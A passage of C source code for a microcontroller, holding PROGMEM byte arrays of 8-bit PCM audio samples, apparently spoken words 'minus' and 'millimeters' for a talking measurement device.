0x7f,0x7f,0x80,0x81,0x80,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80\n,0x7f,0x7f,0x7e,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x80,0x80,0x80,0x80,0x81,0x80,0x81,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x7f,0x80,0x80,0x7f,0x80,0x7f\n,0x80,0x80,0x7f,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x7f,0x7f,0x7f\n,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x7f,0x7f};\n\nconst char unsigned PROGMEM PCM_MINUS[]={\n0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81\n,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x82,0x83,0x83,0x84,0x85,0x86,0x87\n,0x87,0x88,0x88,0x88,0x88,0x88,0x87,0x87,0x86,0x85,0x84,0x83,0x82,0x80,0x7f,0x7e,0x7d,0x7c,0x7b,0x7a,0x79,0x79,0x78,0x78,0x78,0x78,0x77,0x77,0x76,0x76,0x76,0x75\n,0x74,0x73,0x72,0x71,0x70,0x6f,0x6e,0x6e,0x6f,0x70,0x72,0x75,0x78,0x7c,0x82,0x87,0x8d,0x92,0x97,0x9b,0x9e,0xa0,0xa1,0xa1,0xa0,0x9e,0x9b,0x98,0x94,0x90,0x8c,0x88\n,0x84,0x7f,0x7c,0x78,0x76,0x74,0x72,0x71,0x71,0x71,0x71,0x72,0x73,0x74,0x75,0x76,0x76,0x76,0x76,0x74,0x73,0x71,0x6e,0x6c,0x69,0x66,0x64,0x64,0x66,0x67,0x68,0x6b\n,0x71,0x77,0x7f,0x88,0x8f,0x95,0x99,0x9b,0x9c,0x9d,0x9d,0x9c,0x9c,0x9a,0x98,0x96,0x93,0x8f,0x8d,0x8c,0x8b,0x8c,0x8b,0x8a,0x89,0x88,0x87,0x87,0x88,0x87,0x87,0x87\n,0x87,0x86,0x87,0x87,0x88,0x89,0x87,0x85,0x84,0x83,0x81,0x7f,0x7c,0x78,0x73,0x6d,0x67,0x61,0x5b,0x54,0x4d,0x49,0x4b,0x4b,0x49,0x4b,0x52,0x5b,0x66,0x74,0x81,0x8d\n,0x99,0x9f,0xa2,0xa6,0xa7,0xa5,0xa6,0xa5,0xa1,0x9d,0x9a,0x94,0x90,0x8d,0x88,0x86,0x83,0x7f,0x7c,0x7c,0x7c,0x7c,0x7e,0x7f,0x7f,0x80,0x81,0x83,0x86,0x89,0x8b,0x8c\n,0x8d,0x8c,0x8c,0x8d,0x8c,0x8b,0x8a,0x85,0x80,0x7b,0x74,0x6c,0x65,0x5e,0x55,0x4d,0x45,0x40,0x44,0x46,0x44,0x47,0x4e,0x56,0x62,0x72,0x80,0x8c,0x9a,0xa0,0xa3,0xa8\n,0xa7,0xa4,0xa5,0xa3,0xa0,0x9e,0x9a,0x95,0x90,0x8d,0x87,0x85,0x85,0x81,0x7f,0x80,0x7f,0x80,0x84,0x86,0x8a,0x92,0x94,0x95,0x98,0x99,0x9c,0x9c,0x9b,0x99,0x97,0x96\n,0x93,0x91,0x8f,0x88,0x7e,0x6f,0x5a,0x42,0x2c,0x1e,0x13,0x14,0x1d,0x35,0x66,0x8c,0xad,0xc3,0xb3,0xa7,0x8a,0x66,0x63,0x5a,0x62,0x79,0x83,0x97,0xa5,0xad,0xb6,0xb4\n,0xac,0x95,0x75,0x5c,0x3c,0x3d,0x54,0x6f,0x9e,0xad,0xaa,0x9d,0x83,0x78,0x7b,0x8c,0x9b,0xa8,0xaa,0x9f,0x9c,0x9b,0x9e,0xa5,0xa6,0x9c,0x97,0x95,0x91,0x9a,0x97,0x86\n,0x70,0x4c,0x2f,0x21,0x19,0x19,0x1f,0x22,0x26,0x33,0x49,0x8a,0xba,0xcd,0xd2,0x8a,0x60,0x3e,0x1c,0x53,0x79,0x9e,0xc9,0xbb,0xb0,0xb0,0xa2,0xa2,0x9e,0x86,0x66,0x42\n,0x3b,0x3d,0x6e,0x9f,0xaa,0xbc,0x95,0x70,0x66,0x64,0x86,0xa8,0xb7,0xb1,0xa4,0x96,0x96,0xa8,0xb8,0xc0,0xbb,0xa9,0x94,0x93,0x99,0x9a,0x9d,0x89,0x6e,0x5a,0x47,0x41\n,0x47,0x40,0x39,0x35,0x2c,0x31,0x3e,0x47,0x77,0xa9,0xad,0xbc,0x90,0x59,0x5b,0x3b,0x52,0x88,0x8e,0xb0,0xb9,0xa4,0xb0,0xa9,0x96,0x8d,0x71,0x59,0x49,0x56,0x6c,0x8a\n,0xb0,0xa0,0x95,0x81,0x64,0x76,0x8b,0xa3,0xb6,0xb3,0xa1,0x99,0x98,0x9e,0xac,0xb1,0xaf,0xa8,0xa7,0xa4,0xa3,0xa4,0x92,0x81,0x72,0x61,0x5d,0x5b,0x4d,0x45,0x33,0x22\n,0x24,0x22,0x28,0x30,0x2e,0x55,0x9d,0xb2,0xcb,0xa7,0x4e,0x46,0x26,0x35,0x8a,0x9a,0xb2,0xbf,0x95,0x97,0xa2,0x8f,0x8b,0x74,0x53,0x45,0x54,0x74,0x8a,0xb1,0x95,0x79\n,0x77,0x61,0x88,0xad,0xb7,0xbc,0xab,0x91,0x91,0xa0,0xa9,0xb7,0xb6,0xae,0xac,0xb0,0xaf,0xa4,0x9c,0x84,0x77,0x79,0x74,0x78,0x73,0x58,0x47,0x3c,0x2c,0x32,0x2c,0x24\n,0x26,0x22,0x31,0x7b,0xc7,0xcc,0xc7,0x73,0x27,0x40,0x40,0x7b,0xbf,0xa6,0xa6,0x9b,0x82,0xa6,0xae,0x90,0x79,0x53,0x4c,0x5f,0x8c,0xa5,0x99,0x99,0x67,0x64,0x82,0x89\n,0xb1,0xb6,0xa3,0x9f,0x9b,0x9a,0xac,0xaf,0xa9,0xa8,0xa8,0xb0,0xb5,0xb6,0xa0,0x8a,0x88,0x7d,0x87,0x8f,0x81,0x76,0x62,0x46,0x39,0x2d,0x20,0x22,0x17,0x16,0x19,0x19\n,0x39,0x94,0xc9,0xb8,0x9e,0x39,0x1d,0x53,0x5d,0x99,0xaf,0x83,0x89,0x93,0x9b,0xbc,0xb1,0x7d,0x5e,0x5d,0x67,0x7e,0x9b,0x7e,0x64,0x6d,0x61,0x7e,0xa6,0x97,0x9f,0xa9\n,0x98,0xa6,0xa8,0x93,0x96,0xa3,0xa8,0xb8,0xc6,0xae,0xa5,0xa3,0x93,0x9f,0xa7,0x94,0x90,0x8f,0x7b,0x77,0x61,0x38,0x2b,0x25,0x27,0x34,0x2b,0x1e,0x17,0x1b,0x2e,0x76\n,0xcc,0xaf,0x8e,0x55,0x1d,0x6a,0x88,0x8a,0xa6,0x82,0x84,0xb5,0xc1,0xc5,0xad,0x76,0x60,0x6c,0x87,0x80,0x7c,0x7d,0x66,0x89,0x98,0x86,0x8d,0x7f,0x83,0xb0,0xbe,0xab\n,0x9e,0x8d,0x97,0xbf,0xcd,0xbb,0xad,0xa3,0xa3,0xb9,0xb4,0x9a,0x93,0x8e,0x8b,0x9a,0x81,0x57,0x46,0x2d,0x2f,0x43,0x36,0x24,0x13,0x00,0x0c,0x1d,0x1d,0x55,0xb8,0xa7\n,0x90,0x74,0x30,0x74,0x8c,0x66,0x81,0x73,0x85,0xc0,0xc5,0xb4,0x92,0x72,0x6a,0x6d,0x84,0x67,0x5c,0x87,0x78,0x89,0x83,0x53,0x6c,0x8d,0xa1,0xb1,0xab,0x92,0xa0,0xb8\n,0xb5,0xb2,0xac,0xa2,0xb1,0xcf,0xbf,0xb4,0xac,0x93,0xa5,0xac,0x8e,0x87,0x75,0x58,0x5a,0x45,0x33,0x3a,0x31,0x2a,0x23,0x14,0x1b,0x1d,0x1e,0x22,0x69,0xce,0x9f,0x8c\n,0x71,0x4d,0xa2,0x91,0x67,0x87,0x90,0xb2,0xcc,0xb1,0x97,0x8e,0x99,0x8c,0x75,0x77,0x50,0x75,0x9e,0x80,0x92,0x7f,0x77,0x95,0xa0,0x99,0x99,0xa4,0xac,0xbc,0xb9,0xa6\n,0xa8,0xc4,0xba,0xbd,0xc4,0xad,0xb8,0xaf,0x98,0x9e,0x9d,0x82,0x7b,0x63,0x4c,0x59,0x4b,0x32,0x2b,0x1a,0x18,0x1a,0x16,0x10,0x0d,0x26,0x63,0xbc,0x9d,0x6f,0x82,0x71\n,0x94,0x7f,0x44,0x74,0xa7,0xb5,0xa9,0x8e,0x9c,0xb0,0xae,0x82,0x4e,0x6a,0x72,0x70,0x7c,0x5f,0x7f,0x9d,0x91,0x84,0x8b,0x9d,0xa3,0xa9,0x9b,0xa0,0xb9,0xc0,0xb0,0xb8\n,0xb5,0xb6,0xce,0xb8,0xa5,0xa6,0xa2,0xa5,0xa2,0x7c,0x63,0x61,0x4e,0x45,0x33,0x24,0x23,0x22,0x1b,0x0a,0x16,0x1c,0x20,0x32,0x6a,0xaa,0x7b,0x78,0x9a,0x82,0x99,0x76\n,0x5c,0xa6,0xb1,0x97,0x93,0x9d,0xc3,0xb3,0x91,0x7b,0x73,0x90,0x64,0x4c,0x6f,0x6f,0x87,0x89,0x7d,0x9c,0xb4,0xad,0x9c,0xa0,0xab,0xab,0xb2,0xb8,0xc0,0xd3,0xc6,0xb9\n,0xcd,0xc5,0xb1,0xab,0xa6,0xac,0xa2,0x7c,0x6a,0x66,0x56,0x42,0x2d,0x2a,0x23,0x1b,0x1a,0x09,0x16,0x24,0x1c,0x2c,0x64,0x96,0x70,0x81,0xac,0x7f,0x8c,0x80,0x72,0xac\n,0x99,0x7f,0x96,0xa8,0xaf,0x95,0x91,0x93,0x77,0x73,0x51,0x56,0x7b,0x5d,0x5a,0x7b,0x8e,0x93,0x9c,0xa3,0xa3,0xa7,0x9e,0x9b,0xb7,0xbe,0xb0,0xc2,0xcb,0xc1,0xc4,0xb5\n,0xaa,0xb3,0xa7,0x96,0x96,0x87,0x73,0x66,0x4e,0x41,0x37,0x27,0x1a,0x11,0x0e,0x0c,0x1b,0x1d,0x1e,0x47,0x8d,0x7e,0x68,0xb6,0x9b,0x7a,0x98,0x7b,0x9b,0xa5,0x71,0x93\n,0xb0,0xa2,0x9d,0x9d,0xa8,0x8e,0x79,0x6e,0x5a,0x77,0x5f,0x4e,0x7e,0x7e,0x86,0xa1,0xa7,0xa7,0xab,0xa5,0xa6,0xb5,0xb5,0xb9,0xca,0xc6,0xbe,0xcb,0xc4,0xb6,0xbb,0xb2\n,0xaa,0xab,0x92,0x83,0x80,0x5d,0x49,0x45,0x2f,0x2d,0x21,0x13,0x14,0x0e,0x0f,0x11,0x1e,0x61,0x91,0x60,0x9c,0xca,0x78,0x96,0x9d,0x83,0xa7,0x79,0x75,0xb2,0xa3,0x8d\n,0xa1,0xae,0x94,0x83,0x85,0x61,0x6c,0x68,0x37,0x5d,0x69,0x51,0x75,0x9c,0x97,0xa4,0xb5,0xa8,0xb5,0xb8,0xab,0xbd,0xbd,0xa5,0xc1,0xcd,0xaf,0xbb,0xc3,0xb4,0xaf,0x9d\n,0x8a,0x8d,0x76,0x57,0x56,0x3f,0x31,0x31,0x22,0x1d,0x15,0x0c,0x15,0x11,0x14,0x26,0x67,0x8b,0x50,0xa1,0xb5,0x66,0xb0,0x9c,0x89,0xb8,0x79,0x8d,0xb9,0x87,0x88,0xa3\n,0x9e,0x86,0x8d,0x95,0x6c,0x79,0x65,0x45,0x78,0x56,0x51,0x8d,0x8b,0x9e,0xb0,0xab,0xc3,0xc1,0xb5,0xc4,0xc9,0xc0,0xbc,0xcd,0xcc,0xba,0xbe,0xc3,0xb8,0xaf,0x9f,0x95\n,0x97,0x76,0x5f,0x69,0x47,0x39,0x45,0x31,0x28,0x21,0x19,0x1d,0x11,0x0e,0x18,0x36,0x7b,0x53,0x56,0xc0,0x8d,0x8b,0xc0,0x93,0xb7,0xab,0x6a,0x98,0x9f,0x72,0x80,0xa7\n,0x91,0x83,0xa6,0x84,0x7f,0x93,0x53,0x69,0x77,0x47,0x6b,0x7d,0x7c,0x95,0x9b,0xad,0xba,0xb7,0xbf,0xcb,0xd1,0xbf,0xbf,0xcb,0xbb,0xb2,0xbc,0xba,0xb1,0xaa,0x9d,0x98\n,0x8c,0x6e,0x6f,0x69,0x4a,0x46,0x40,0x34,0x34,0x2e,0x2d,0x2a,0x25,0x27,0x14,0x10,0x12,0x3e,0x5d,0x34,0x70,0x9d,0x80,0xa5,0xa1,0xa1,0xbd,0x82,0x79,0x97,0x7d,0x71\n,0x76,0x8b,0x8c,0x85,0x8e,0x85,0xa2,0x98,0x70,0x92,0x84,0x60,0x6f,0x6e,0x7a,0x87,0x81,0xa5,0xbe,0xb8,0xc4,0xd8,0xd6,0xc8,0xce,0xcb,0xbf,0xb7,0xa9,0xa4,0xa1,0x90\n,0x90,0x9f,0x90,0x87,0x93,0x83,0x7a,0x76,0x68,0x6b,0x69,0x5b,0x5c,0x5f,0x59,0x53,0x51,0x52,0x48,0x3e,0x37,0x27,0x28,0x2d,0x22,0x20,0x2e,0x42,0x48,0x54,0x71,0x7e\n,0x88,0x94,0x8e,0x99,0xad,0xa7,0xa8,0xaf,0xae,0xab,0xaa,0xa6,0x9f,0xa4,0xa3,0x99,0x9f,0x9a,0x89,0x8e,0x8e,0x82,0x89,0x90,0x8d,0x90,0x90,0x90,0x9a,0x98,0x93,0xa2\n,0xa7,0xa3,0xb0,0xb7,0xaf,0xaf,0xaf,0xa9,0xa5,0x9d,0x95,0x92,0x84,0x75,0x70,0x6a,0x5b,0x4f,0x4b,0x4c,0x41,0x36,0x37,0x31,0x29,0x21,0x17,0x18,0x1d,0x21,0x1e,0x21\n,0x3b,0x4a,0x53,0x6f,0x82,0x96,0xad,0xb4,0xb5,0xbc,0xc1,0xbb,0xb4,0xb9,0xb5,0xad,0xac,0xa1,0xa3,0xab,0x9d,0x95,0x9b,0x92,0x88,0x87,0x7f,0x79,0x7c,0x78,0x78,0x83\n,0x84,0x8e,0x9e,0x9f,0xa3,0xaf,0xb2,0xb4,0xb8,0xb7,0xb6,0xb6,0xb1,0xad,0xa8,0xa0,0x9a,0x8e,0x84,0x7d,0x71,0x6a,0x5f,0x55,0x53,0x4c,0x46,0x44,0x42,0x45,0x41,0x3c\n,0x40,0x41,0x3c,0x36,0x35,0x3f,0x46,0x44,0x45,0x59,0x6c,0x6c,0x7b,0x92,0x9a,0xa6,0xb1,0xb3,0xba,0xbd,0xb7,0xb4,0xb1,0xaa,0xa4,0x9f,0x97,0x93,0x98,0x95,0x89,0x87\n,0x89,0x7f,0x7b,0x7e,0x77,0x78,0x7c,0x75,0x77,0x82,0x83,0x87,0x8d,0x92,0x9b,0xa2,0xa2,0xa5,0xa7,0xa3,0xa5,0x9f,0x96,0x99,0x94,0x89,0x83,0x78,0x76,0x73,0x67,0x64\n,0x64,0x5e,0x55,0x51,0x51,0x4f,0x4e,0x4a,0x4b,0x50,0x4c,0x4a,0x4d,0x4a,0x4a,0x4c,0x4a,0x53,0x5e,0x5a,0x62,0x79,0x80,0x83,0x95,0xa5,0xac,0xb8,0xbc,0xba,0xc1,0xc1\n,0xb5,0xb4,0xb3,0xa9,0xa6,0xa2,0x99,0x99,0x9a,0x8e,0x86,0x85,0x80,0x78,0x74,0x70,0x6d,0x70,0x6d,0x6e,0x74,0x78,0x80,0x86,0x89,0x8e,0x96,0x9c,0xa0,0xa2,0xa5,0xa6\n,0xa4,0xa1,0xa0,0x9f,0x9a,0x93,0x8d,0x87,0x81,0x75,0x6c,0x67,0x61,0x5c,0x57,0x56,0x58,0x59,0x58,0x5a,0x59,0x59,0x5c,0x5e,0x5c,0x5b,0x5f,0x61,0x5e,0x5e,0x6a,0x72\n,0x72,0x77,0x85,0x91,0x91,0x94,0xa0,0xa5,0xa5,0xa5,0x9f,0x9d,0x9f,0x98,0x8f,0x91,0x8e,0x87,0x83,0x82,0x7d,0x80,0x7f,0x76,0x76,0x78,0x75,0x73,0x6f,0x6b,0x6f,0x6f\n,0x6c,0x6f,0x74,0x7b,0x83,0x87,0x8d,0x95,0x9a,0x9d,0x9f,0xa3,0xa4,0xa0,0x9e,0x99,0x95,0x95,0x90,0x88,0x87,0x87,0x7f,0x76,0x75,0x73,0x6d,0x65,0x61,0x65,0x65,0x63\n,0x65,0x6a,0x6f,0x6f,0x6c,0x71,0x76,0x71,0x6b,0x6a,0x69,0x63,0x64,0x7b,0x7c,0x72,0x88,0x94,0x93,0x97,0x93,0x9b,0x9f,0x8b,0x82,0x84,0x84,0x7d,0x73,0x7c,0x88,0x86\n,0x86,0x87,0x92,0x96,0x84,0x80,0x83,0x79,0x71,0x6b,0x6b,0x73,0x76,0x75,0x7a,0x8b,0x8e,0x8e,0x9a,0x9b,0xa2,0xa3,0x97,0x9f,0xa0,0x93,0x97,0x95,0x95,0x9b,0x92,0x95\n,0x98,0x8d,0x88,0x84,0x7e,0x7a,0x70,0x6e,0x70,0x6c,0x6d,0x6e,0x70,0x75,0x74,0x73,0x76,0x73,0x6f,0x6b,0x69,0x69,0x64,0x5e,0x5f,0x5d,0x58,0x53,0x5e,0x7c,0x75,0x69\n,0x85,0x8e,0x86,0x84,0x7c,0x85,0x86,0x70,0x6b,0x7a,0x84,0x7f,0x7f,0x92,0x9b,0x99,0x96,0x8f,0x98,0x95,0x7b,0x75,0x7c,0x76,0x6f,0x6f,0x7a,0x85,0x87,0x88,0x8e,0x9b\n,0x99,0x8d,0x90,0x94,0x95,0x93,0x8c,0x96,0x9f,0x98,0x96,0x9a,0x9e,0x9e,0x93,0x8f,0x93,0x8b,0x80,0x7b,0x7b,0x7a,0x73,0x72,0x74,0x78,0x79,0x73,0x76,0x7b,0x75,0x6d\n,0x69,0x68,0x66,0x61,0x5f,0x63,0x66,0x63,0x5f,0x60,0x5f,0x62,0x7f,0x7d,0x6d,0x88,0x91,0x88,0x8d,0x84,0x89,0x92,0x81,0x79,0x82,0x8a,0x8a,0x85,0x8f,0x97,0x98,0x95\n,0x87,0x8c,0x92,0x7e,0x75,0x79,0x74,0x74,0x73,0x72,0x7d,0x86,0x85,0x84,0x8c,0x91,0x8b,0x87,0x84,0x89,0x92,0x87,0x89,0x96,0x95,0x97,0x94,0x92,0x9b,0x93,0x88,0x86\n,0x81,0x7f,0x79,0x71,0x75,0x77,0x74,0x72,0x71,0x77,0x74,0x6f,0x70,0x70,0x6e,0x69,0x63,0x66,0x6a,0x69,0x69,0x6e,0x73,0x72,0x6c,0x67,0x62,0x62,0x82,0x7b,0x66,0x86\n,0x90,0x8b,0x95,0x83,0x8a,0x9f,0x86,0x77,0x80,0x88,0x8b,0x84,0x85,0x8f,0x9d,0x9b,0x85,0x8f,0x9c,0x88,0x7f,0x79,0x74,0x81,0x79,0x6d,0x7c,0x89,0x88,0x87,0x88,0x8d\n,0x94,0x8c,0x7b,0x85,0x92,0x88,0x84,0x86,0x8d,0x98,0x8b,0x84,0x92,0x92,0x8a,0x81,0x7b,0x83,0x81,0x73,0x71,0x77,0x7c,0x77,0x71,0x77,0x7e,0x7b,0x74,0x72,0x76,0x74\n,0x6b,0x6a,0x6f,0x73,0x75,0x72,0x73,0x7a,0x79,0x70,0x68,0x61,0x63,0x7d,0x7b,0x68,0x84,0x91,0x91,0x9b,0x87,0x8d,0xa4,0x89,0x77,0x7c,0x7c,0x84,0x7f,0x75,0x81,0x98\n,0x94,0x82,0x8d,0x92,0x88,0x84,0x70,0x6d,0x7d,0x6e,0x67,0x73,0x77,0x83,0x85,0x7f,0x89,0x95,0x8c,0x87,0x8a,0x8a,0x88,0x83,0x7d,0x83,0x88,0x82,0x82,0x88,0x8b,0x8e\n,0x8a,0x84,0x87,0x85,0x7e,0x77,0x73,0x75,0x74,0x71,0x71,0x72,0x79,0x7c,0x76,0x77,0x7a,0x79,0x79,0x75,0x74,0x7a,0x77,0x72,0x72,0x71,0x6f,0x69,0x69,0x73,0x7c,0x7e\n,0x7f,0x8b,0x94,0x94,0x92,0x8d,0x91,0x8e,0x82,0x7c,0x79,0x7c,0x82,0x7e,0x83,0x8e,0x91,0x92,0x91,0x8f,0x8d,0x85,0x7b,0x74,0x71,0x70,0x6d,0x70,0x77,0x7c,0x81,0x89\n,0x8d,0x8f,0x8e,0x8c,0x8e,0x8b,0x87,0x85,0x81,0x84,0x84,0x81,0x84,0x88,0x89,0x89,0x86,0x87,0x85,0x7e,0x7b,0x76,0x74,0x72,0x6f,0x71,0x73,0x74,0x78,0x79,0x78,0x7b\n,0x78,0x76,0x76,0x75,0x74,0x74,0x74,0x75,0x78,0x79,0x7a,0x7a,0x7b,0x7b,0x7b,0x7a,0x78,0x7a,0x7c,0x7b,0x7c,0x7f,0x83,0x85,0x86,0x87,0x88,0x89,0x86,0x84,0x83,0x83\n,0x82,0x81,0x80,0x81,0x82,0x82,0x81,0x80,0x81,0x82,0x7f,0x7e,0x81,0x82,0x81,0x81,0x83,0x87,0x88,0x87,0x88,0x8a,0x8e,0x8c,0x88,0x89,0x89,0x86,0x82,0x80,0x82,0x82\n,0x81,0x80,0x81,0x82,0x82,0x7f,0x7d,0x7c,0x7a,0x79,0x77,0x76,0x76,0x78,0x78,0x78,0x7b,0x7b,0x7c,0x7e,0x7d,0x7e,0x7f,0x7b,0x7a,0x7c,0x7c,0x7a,0x7b,0x7d,0x7e,0x80\n,0x7f,0x7e,0x81,0x82,0x7e,0x7f,0x81,0x80,0x81,0x81,0x80,0x83,0x84,0x83,0x83,0x83,0x84,0x83,0x83,0x83,0x82,0x83,0x84,0x81,0x80,0x81,0x81,0x81,0x80,0x81,0x83,0x83\n,0x82,0x81,0x83,0x83,0x80,0x7f,0x7e,0x7f,0x7f,0x7d,0x7d,0x7e,0x7e,0x7d,0x7c,0x7d,0x7d,0x7d,0x7b,0x7b,0x7c,0x7c,0x7b,0x7b,0x7c,0x7d,0x7d,0x7c,0x7c,0x7c,0x7b,0x7a\n,0x7b,0x7b,0x7b,0x7c,0x7c,0x7d,0x7f,0x7e,0x7d,0x7e,0x7d,0x7d,0x7e,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x81,0x81,0x82,0x83,0x84,0x85,0x84,0x85,0x85,0x85,0x84,0x84,0x84\n,0x84,0x83,0x82,0x83,0x83,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x82,0x81,0x81,0x80,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x7f,0x80\n,0x7f,0x7f,0x7e,0x7e,0x7c,0x7d,0x7d,0x7d,0x7c,0x7c,0x7e,0x7e,0x7e,0x7e,0x7f,0x80,0x7f,0x7e,0x7f,0x7f,0x81,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7c,0x7d,0x7d,0x7d,0x7d\n,0x7f,0x80,0x80,0x81,0x80,0x82,0x82,0x81,0x80,0x80,0x7f,0x80,0x80,0x80,0x82,0x83,0x82,0x83,0x82,0x82,0x80,0x80,0x7e,0x7d,0x7c,0x7b,0x7c,0x7c,0x7c,0x7c,0x7e,0x7e\n,0x80,0x7f,0x80,0x81,0x80,0x80,0x80,0x7f,0x80,0x7e,0x7f,0x7f,0x7f,0x80,0x7f,0x7f,0x80,0x80,0x7e,0x7f,0x7e,0x7e,0x7d,0x7d,0x7c,0x7e,0x7d,0x7d,0x7e,0x80,0x81,0x81\n,0x82,0x84,0x86,0x86,0x85,0x83,0x83,0x81,0x80,0x7c,0x7c,0x7d,0x7c,0x7c,0x7d,0x7f,0x81,0x82,0x82,0x83,0x83,0x83,0x82,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7f,0x82\n,0x82,0x81,0x80,0x82,0x83,0x80,0x7f,0x7e,0x7e,0x7e,0x7d,0x7c,0x7d,0x7f,0x7f,0x7f,0x80,0x81,0x83,0x81,0x80,0x81,0x81,0x82,0x80,0x7f,0x7f,0x81,0x80,0x7e,0x7e,0x80\n,0x80,0x7f,0x7d,0x7f,0x7f,0x7f,0x7e,0x7d,0x7f,0x7f,0x7f,0x7e,0x7f,0x80,0x80,0x80,0x80,0x7f,0x80,0x7f,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7e,0x7e,0x7f,0x7e,0x7f,0x7f\n,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x81,0x80,0x81,0x80,0x81,0x81,0x80,0x7f,0x80,0x81,0x80,0x80,0x7f,0x80,0x80,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x7f,0x80\n,0x7f,0x7f,0x81,0x80,0x81,0x81,0x81,0x81,0x82,0x81,0x81,0x81,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x7e,0x7f,0x81,0x7f,0x80,0x80,0x7f,0x80,0x81,0x7f,0x80,0x80,0x7f,0x80\n,0x80,0x80,0x7f,0x80,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x80,0x80\n,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x7f,0x80,0x81,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7e,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7d,0x7e,0x7e,0x7e,0x7f,0x7e,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f,0x7f,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x80,0x80,0x80,0x80\n,0x7f,0x80,0x81,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x82,0x82,0x81,0x81,0x81,0x82,0x80,0x80,0x7f,0x7e,0x80,0x7f,0x7e,0x7f,0x7f,0x7f,0x80,0x7f\n,0x81,0x80,0x80,0x80,0x7f,0x80,0x7f,0x7f,0x7f,0x7e,0x7f,0x7f};\n\nconst char unsigned PROGMEM PCM_MILLIMETERS[]={\n0x7f,0x7f,0x7f,0x80,0x80,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x82,0x82,0x83,0x83,0x83,0x82,0x82,0x82,0x82\n,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x83,0x83,0x83,0x83,0x83,0x83\n,0x83,0x83,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x82,0x82\n,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c\n,0x7c,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x81,0x82,0x81,0x82,0x83,0x83,0x84,0x84,0x85,0x85,0x86,0x86,0x87,0x88,0x88,0x88,0x88,0x88,0x88,0x88\n,0x88,0x87,0x87,0x86,0x85,0x84,0x84,0x83,0x81,0x7f,0x7d,0x7a,0x77,0x74,0x72,0x6f,0x6c,0x69,0x67,0x65,0x63,0x61,0x62,0x63,0x66,0x6a,0x6e,0x74,0x7b,